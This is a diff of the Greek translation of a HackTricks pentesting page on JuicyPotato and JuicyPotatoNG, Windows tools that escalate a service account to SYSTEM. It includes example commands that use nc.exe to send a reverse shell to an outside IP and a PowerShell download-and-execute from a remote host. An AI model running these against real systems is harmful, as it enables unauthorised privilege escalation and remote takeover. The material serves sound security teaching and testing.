Translated ['src/windows-hardening/windows-local-privilege-escalation/ju

src/windows-hardening/windows-local-privilege-escalation/juicypotato.md

@@ -2,52 +2,58 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-> [!WARNING] > **Το JuicyPotato δεν λειτουργεί** σε Windows Server 2019 και Windows 10 build 1809 και μετά. Ωστόσο, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) μπορούν να χρησιμοποιηθούν για να **εκμεταλλευτούν τα ίδια προνόμια και να αποκτήσουν πρόσβαση επιπέδου `NT AUTHORITY\SYSTEM`**. _**Έλεγχος:**_
+> [!WARNING] > JuicyPotato είναι legacy. Γενικά λειτουργεί σε Windows εκδόσεις μέχρι τα Windows 10 1803 / Windows Server 2016. Αλλαγές της Microsoft που κυκλοφόρησαν αρχίζοντας από τα Windows 10 1809 / Server 2019 έσπασαν την αρχική τεχνική. Για αυτές τις builds και νεότερες, εξετάστε σύγχρονες εναλλακτικές όπως PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato και άλλες. Δείτε τη σελίδα παρακάτω για ενημερωμένες επιλογές και χρήση.
+
 
 {{#ref}}
 roguepotato-and-printspoofer.md
 {{#endref}}
 
-## Juicy Potato (κατάχρηση των χρυσών προνομίων) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
+## Juicy Potato (κατάχρηση των golden προνομίων) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
 
-_Μια γλυκιά έκδοση του_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, με λίγο χυμό, δηλαδή **ένα άλλο εργαλείο Τοπικής Κατάχρησης Προνομίων, από Λογαριασμούς Υπηρεσιών Windows σε NT AUTHORITY\SYSTEM**_
+_Μια γλυκαντική έκδοση του_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, με λίγη έξτρα λειτουργικότητα, δηλαδή_ **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**
 
 #### Μπορείτε να κατεβάσετε το juicypotato από [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
 
+### Σύντομες σημειώσεις συμβατότητας
+
+- Λειτουργεί αξιόπιστα έως τα Windows 10 1803 και Windows Server 2016 όταν το τρέχον context έχει SeImpersonatePrivilege ή SeAssignPrimaryTokenPrivilege.
+- Έχει σπάσει από το Microsoft hardening στα Windows 10 1809 / Windows Server 2019 και νεότερα. Προτιμήστε τις εναλλακτικές που συνδέονται παραπάνω για αυτές τις εκδόσεις.
+
 ### Περίληψη <a href="#summary" id="summary"></a>
 
-[**Από το juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
+[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
 
-[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) και οι [παραλλαγές του](https://github.com/decoder-it/lonelypotato) εκμεταλλεύονται την αλυσίδα κατάχρησης προνομίων βασισμένη σε [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [υπηρεσία](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) που έχει τον MiTM listener στο `127.0.0.1:6666` και όταν έχετε προνόμια `SeImpersonate` ή `SeAssignPrimaryToken`. Κατά τη διάρκεια μιας ανασκόπησης build Windows βρήκαμε μια ρύθμιση όπου το `BITS` είχε σκόπιμα απενεργοποιηθεί και η θύρα `6666` είχε καταληφθεί.
+[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken.
 
-Αποφασίσαμε να οπλοποιήσουμε [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Πείτε γεια στο Juicy Potato**.
+Αποφασίσαμε να οπλοποιήσουμε τον [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Γνωρίστε το Juicy Potato**.
 
-> Για τη θεωρία, δείτε [Rotten Potato - Κατάχρηση Προνομίων από Λογαριασμούς Υπηρεσιών σε SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) και ακολουθήστε την αλυσίδα των συνδέσμων και αναφορών.
+> Για τη θεωρία, δείτε [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) και ακολουθήστε την αλυσίδα συνδέσμων και αναφορών.
 
-Ανακαλύψαμε ότι, εκτός από το `BITS`, υπάρχουν αρκετοί COM servers που μπορούμε να καταχραστούμε. Απλά χρειάζεται να:
+Ανακαλύψαμε ότι, πέρα από την `BITS`, υπάρχουν αρκετοί COM servers που μπορούμε να καταχραστούμε. Απλώς πρέπει να:
 
-1. είναι δυνατό να δημιουργηθούν από τον τρέχοντα χρήστη, κανονικά έναν “χρήστη υπηρεσίας” που έχει προνόμια κατάχρησης
+1. να μπορούν να δημιουργηθούν από τον τρέχοντα χρήστη, συνήθως έναν “service user” που έχει impersonation privileges
-2. να υλοποιούν τη διεπαφή `IMarshal`
+2. να υλοποιούν το interface `IMarshal`
-3. να εκτελούνται ως ανυψωμένος χρήστης (SYSTEM, Διαχειριστής, …)
+3. να τρέχουν ως elevated user (SYSTEM, Administrator, …)
 
-Μετά από κάποιες δοκιμές αποκτήσαμε και δοκιμάσαμε μια εκτενή λίστα από [ενδιαφέροντα CLSID’s](http://ohpe.it/juicy-potato/CLSID/) σε πολλές εκδόσεις Windows.
+Μετά από δοκιμές, συλλέξαμε και δοκιμάσαμε μια εκτενή λίστα από [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) σε διάφορες εκδόσεις των Windows.
 
-### Juicy λεπτομέρειες <a href="#juicy-details" id="juicy-details"></a>
+### Λεπτομέρειες <a href="#juicy-details" id="juicy-details"></a>
 
 JuicyPotato σας επιτρέπει να:
 
-- **Στόχος CLSID** _επιλέξτε οποιοδήποτε CLSID θέλετε._ [_Εδώ_](http://ohpe.it/juicy-potato/CLSID/) _μπορείτε να βρείτε τη λίστα οργανωμένη κατά OS._
+- **Target CLSID** _επιλέξτε οποιοδήποτε CLSID θέλετε._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _θα βρείτε τη λίστα οργανωμένη ανά OS._
-- **Θύρα Listening COM** _ορίστε τη θύρα listening COM που προτιμάτε (αντί της σκληρά κωδικοποιημένης 6666)_
+- **COM Listening port** _ορίστε την προτιμώμενη θύρα COM listening (αντί για το marshalled hardcoded `6666`)_
-- **Διεύθυνση IP Listening COM** _δεσμεύστε τον server σε οποιαδήποτε IP_
+- **COM Listening IP address** _bind τον server σε οποιαδήποτε IP_
-- **Λειτουργία δημιουργίας διεργασίας** _ανάλογα με τα προνόμια του χρήστη που έχει καταχραστεί μπορείτε να επιλέξετε από:_
+- **Process creation mode** _ανάλογα με τα privileges του impersonated χρήστη μπορείτε να επιλέξετε από:_
-- `CreateProcessWithToken` (χρειάζεται `SeImpersonate`)
+- `CreateProcessWithToken` (needs `SeImpersonate`)
-- `CreateProcessAsUser` (χρειάζεται `SeAssignPrimaryToken`)
+- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`)
-- `και τα δύο`
+- `both`
-- **Διεργασία προς εκτέλεση** _εκκινήστε ένα εκτελέσιμο ή σενάριο αν η εκμετάλλευση είναι επιτυχής_
+- **Process to launch** _εκκινήστε ένα εκτελέσιμο ή script αν η εκμετάλλευση πετύχει_
-- **Επιχείρημα Διεργασίας** _προσαρμόστε τα επιχειρήματα της εκκινούμενης διεργασίας_
+- **Process Argument** _προσαρμόστε τα arguments της εκκινούμενης διαδικασίας_
-- **Διεύθυνση RPC Server** _για μια κρυφή προσέγγιση μπορείτε να πιστοποιηθείτε σε έναν εξωτερικό RPC server_
+- **RPC Server address** _για μια πιο stealthy προσέγγιση μπορείτε να αυθεντικοποιηθείτε σε έναν εξωτερικό RPC server_
-- **Θύρα RPC Server** _χρήσιμη αν θέλετε να πιστοποιηθείτε σε έναν εξωτερικό server και το firewall μπλοκάρει τη θύρα `135`…_
+- **RPC Server port** _χρήσιμο αν θέλετε να αυθεντικοποιηθείτε σε εξωτερικό server και το firewall μπλοκάρει την πόρτα `135`…_
-- **ΛΕΙΤΟΥΡΓΙΑ ΔΟΚΙΜΗΣ** _κυρίως για δοκιμαστικούς σκοπούς, δηλαδή δοκιμή CLSIDs. Δημιουργεί το DCOM και εκτυπώνει τον χρήστη του token. Δείτε_ [_εδώ για δοκιμή_](http://ohpe.it/juicy-potato/Test/)
+- **TEST mode** _κυρίως για δοκιμές, π.χ. δοκιμή CLSIDs. Δημιουργεί το DCOM και εκτυπώνει τον χρήστη του token. Δείτε_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
 
 ### Χρήση <a href="#usage" id="usage"></a>
 ```
@@ -68,21 +74,42 @@ Optional args:
 ```
 ### Τελικές σκέψεις <a href="#final-thoughts" id="final-thoughts"></a>
 
-[**Από το juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
+[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
 
-Εάν ο χρήστης έχει δικαιώματα `SeImpersonate` ή `SeAssignPrimaryToken`, τότε είστε **SYSTEM**.
+Αν ο χρήστης έχει `SeImpersonate` ή `SeAssignPrimaryToken` προνόμια τότε είστε **SYSTEM**.
 
-Είναι σχεδόν αδύνατο να αποτραπεί η κακή χρήση όλων αυτών των COM Servers. Μπορείτε να σκεφτείτε να τροποποιήσετε τα δικαιώματα αυτών των αντικειμένων μέσω του `DCOMCNFG`, αλλά καλή τύχη, αυτό θα είναι προκλητικό.
+Είναι σχεδόν αδύνατο να αποτραπεί η κατάχρηση όλων αυτών των COM Servers. Μπορείτε να σκεφτείτε την τροποποίηση των δικαιωμάτων αυτών των αντικειμένων μέσω του `DCOMCNFG`, αλλά καλή τύχη — αυτό θα είναι δύσκολο.
 
-Η πραγματική λύση είναι να προστατεύσετε ευαίσθητους λογαριασμούς και εφαρμογές που εκτελούνται υπό τους λογαριασμούς `* SERVICE`. Η διακοπή του `DCOM` θα εμπόδιζε σίγουρα αυτή την εκμετάλλευση, αλλά θα μπορούσε να έχει σοβαρό αντίκτυπο στο υποκείμενο λειτουργικό σύστημα.
+Η πραγματική λύση είναι να προστατευτούν ευαίσθητοι λογαριασμοί και εφαρμογές που τρέχουν κάτω από τους λογαριασμούς `* SERVICE`. Η απενεργοποίηση του `DCOM` θα εμπόδιζε σίγουρα αυτό το exploit αλλά μπορεί να έχει σοβαρό αντίκτυπο στο υποκείμενο OS.
 
-Από: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
+From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
+
+## JuicyPotatoNG (2022+)
+
+JuicyPotatoNG επανεισάγει ένα JuicyPotato-style local privilege escalation σε σύγχρονα Windows συνδυάζοντας:
+- DCOM OXID resolution σε τοπικό RPC server σε επιλεγμένη θύρα, αποφεύγοντας τον παλαιό σκληροκωδικοποιημένο listener 127.0.0.1:6666.
+- Ένα SSPI hook για να καταγράψει και να προσωποποιήσει την εισερχόμενη πιστοποίηση SYSTEM χωρίς να απαιτεί RpcImpersonateClient, κάτι που επίσης επιτρέπει CreateProcessAsUser όταν υπάρχει μόνο το SeAssignPrimaryTokenPrivilege.
+- Τρικ για να ικανοποιήσουν τους περιορισμούς ενεργοποίησης DCOM (π.χ. η πρώην απαίτηση INTERACTIVE-group όταν στοχεύονται οι κλάσεις PrintNotify / ActiveX Installer Service).
+
+Σημαντικές σημειώσεις (εξελισσόμενη συμπεριφορά ανά builds):
+- September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”.
+- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post.
+
+Basic usage (more flags in the help):
+```
+JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
+# Useful helpers:
+#  -b  Bruteforce all CLSIDs (testing only; spawns many processes)
+#  -s  Scan for a COM port not filtered by Windows Defender Firewall
+#  -i  Interactive console (only with CreateProcessAsUser)
+```
+If you’re targeting Windows 10 1809 / Server 2019 where classic JuicyPotato is patched, prefer the alternatives linked at the top (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG may be situational depending on build and service state.
 
 ## Παραδείγματα
 
-Σημείωση: Επισκεφθείτε [αυτή τη σελίδα](https://ohpe.it/juicy-potato/CLSID/) για μια λίστα με CLSIDs για δοκιμή.
+Σημείωση: Επισκεφτείτε [this page](https://ohpe.it/juicy-potato/CLSID/) για μια λίστα με CLSIDs που μπορείτε να δοκιμάσετε.
 
-### Πάρτε ένα nc.exe reverse shell
+### Αποκτήστε ένα nc.exe reverse shell
 ```
 c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
 
@@ -95,34 +122,33 @@ Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
 
 c:\Users\Public>
 ```
-### Powershell rev
+### Powershell αντίστροφο
 ```
 .\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
 ```
-### Εκκίνηση νέου CMD (αν έχετε πρόσβαση RDP)
+### Εκκινήστε ένα νέο CMD (αν έχετε πρόσβαση RDP)
 
 ![](<../../images/image (300).png>)
 
 ## Προβλήματα CLSID
 
-Συχνά, το προεπιλεγμένο CLSID που χρησιμοποιεί το JuicyPotato **δεν λειτουργεί** και η εκμετάλλευση αποτυγχάνει. Συνήθως, απαιτούνται πολλές προσπάθειες για να βρείτε ένα **λειτουργικό CLSID**. Για να αποκτήσετε μια λίστα με CLSIDs για να δοκιμάσετε για ένα συγκεκριμένο λειτουργικό σύστημα, θα πρέπει να επισκεφθείτε αυτή τη σελίδα:
+Συχνά, το προεπιλεγμένο CLSID που χρησιμοποιεί το JuicyPotato **δεν λειτουργεί** και το exploit αποτυγχάνει. Συνήθως χρειάζονται πολλαπλές προσπάθειες για να βρείτε ένα **λειτουργικό CLSID**. Για να πάρετε μια λίστα CLSIDs για ένα συγκεκριμένο λειτουργικό σύστημα, επισκεφτείτε αυτήν τη σελίδα:
 
-{{#ref}}
+- [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/)
-https://ohpe.it/juicy-potato/CLSID/
-{{#endref}}
 
 ### **Έλεγχος CLSIDs**
 
-Αρχικά, θα χρειαστείτε μερικά εκτελέσιμα αρχεία εκτός από το juicypotato.exe.
+Πρώτα, θα χρειαστείτε μερικά εκτελέσιμα αρχεία εκτός από το juicypotato.exe.
 
-Κατεβάστε [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) και φορτώστε το στη συνεδρία PS σας, και κατεβάστε και εκτελέστε [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Αυτό το σενάριο θα δημιουργήσει μια λίστα με πιθανά CLSIDs για δοκιμή.
+Κατεβάστε [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) και φορτώστε το στη συνεδρία PS σας, και κατεβάστε και εκτελέστε [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Αυτό το script θα δημιουργήσει μια λίστα πιθανών CLSIDs για δοκιμή.
 
-Στη συνέχεια, κατεβάστε [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(αλλάξτε τη διαδρομή στη λίστα CLSID και στο εκτελέσιμο juicypotato) και εκτελέστε το. Θα αρχίσει να δοκιμάζει κάθε CLSID, και **όταν αλλάξει ο αριθμός θύρας, θα σημαίνει ότι το CLSID λειτούργησε**.
+Στη συνέχεια, κατεβάστε [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(αλλάξτε τη διαδρομή προς τη λίστα CLSID και προς το εκτελέσιμο του juicypotato) και εκτελέστε το. Θα αρχίσει να δοκιμάζει κάθε CLSID, και **όταν αλλάξει ο αριθμός θύρας, αυτό θα σημαίνει ότι το CLSID λειτούργησε**.
 
 **Ελέγξτε** τα λειτουργικά CLSIDs **χρησιμοποιώντας την παράμετρο -c**
 
 ## Αναφορές
 
 - [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
+- [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/)
 
 {{#include ../../banners/hacktricks-training.md}}